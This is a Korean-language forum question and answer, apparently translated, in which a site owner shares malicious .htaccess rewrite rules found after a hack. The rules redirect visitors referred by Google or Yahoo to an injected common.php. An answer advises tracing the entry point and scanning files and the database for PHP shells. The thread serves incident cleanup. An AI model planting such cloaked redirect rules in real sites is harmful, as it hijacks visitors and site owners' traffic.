
가능한 중복:
내 서버가 해킹당했습니다. 긴급 상황
최근 내 웹사이트가 해킹당했습니다. htaccess 파일에 추가된 코드를 찾아서 삭제한 다음 htaccess 파일에 다시 액세스하지 못하도록 스크립트를 추가한 것 같습니다. 해킹된 코드가 참조하는 PHP 파일(common.php)도 삭제했습니다. 다음에 무엇을 해야 합니까? 저는 프로그래머나 웹사이트 개발자는 아니지만, 꽤 많은 시간을 노력했고 쉽게 포기하지 않았기 때문에 제가 스스로 문제를 해결할 수 있는지 정말 알고 싶었습니다.
내가 삭제한 해킹된 코드는 다음과 같습니다.
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteCond %{HTTP_USER_AGENT} (google|yahoo) [OR]
RewriteCond %{HTTP_REFERER} (google|yahoo)
RewriteCond %{REQUEST_URI} /$ [OR]
RewriteCond %{REQUEST_FILENAME} (shtml|html|htm|php|xml|phtml|asp|aspx)$ [NC]
RewriteCond %{REQUEST_FILENAME} !common.php
RewriteCond /home/httpd/vhosts/bluestardive.com/httpdocs/common.php -f
RewriteRule ^.*$ /common.php [L]
</IfModule>
이 코드는 내 URL을 SEO 친화적인 URL이나 웹사이트 오류로 리디렉션하므로 htaccess 파일에 남아 있어야 합니다. 하지만 이 코드도 해킹되었습니까?
# Apache search queries statistic module
RewriteEngine On
AddHandler php5-fastcgi .php .php5
# <contrexx>
# <core_modules__alias>
RewriteRule ^about-us$ /index.php?page=883 [L,NC]
RewriteRule ^ausfluge-und-aktivitaten$ /index.php?page=800 [L,NC]
RewriteRule ^bluestardive-news$ /index.php?page=919 [L,NC]
RewriteRule ^bookings$ /index.php?page=911 [L,NC]
RewriteRule ^diveresort$ /index.php?page=879 [L,NC]
RewriteRule ^diving$ /index.php?page=880 [L,NC]
RewriteRule ^excursions-and-activities$ /index.php?page=881 [L,NC]
RewriteRule ^galerie$ /index.php?section=gallery [L,NC]
RewriteRule ^oceannight$ http://www.bluestardive.com/index.php?page=906 [L,NC]
RewriteRule ^philosophy$ /index.php?page=846 [L,NC]
RewriteRule ^reservation$ /index.php?page=917 [L,NC]
RewriteRule ^reservierung$ /index.php?page=918 [L,NC]
RewriteRule ^resort$ /index.php?page=798 [L,NC]
# </core_modules__alias>
# </contrexx>
답변1
이와 같은 상황에서 가장 좋은 방법은 사용자 진입점을 정확히 찾아내고 공격을 복제하는 것입니다. index.php 내부에 무엇이 있는지 모르기 때문에 .htaccess에 의심스러운 것이 추가되었는지 여부를 알 수 없습니다.
index.php가 데이터베이스에서 직접 데이터를 에코하는 경우 데이터베이스 내부에 악성 코드를 추가했을 가능성이 있으며 다른 파일에 몇 가지 새로운 진입점(PHP Shells, Vulns)을 생성했을 가능성이 있습니다.
보안 전문가와 상담할 것을 강력히 권장합니다. 그렇지 않은 경우 데이터베이스 항목을 포함하여 서버의 모든 파일을 철저히 다시 검사하십시오.
향후 공격을 방지하려면 그의 진입 지점이 무엇인지도 알아내십시오. 추가 정보가 필요하면 언제든지 저에게 연락하실 수 있습니다.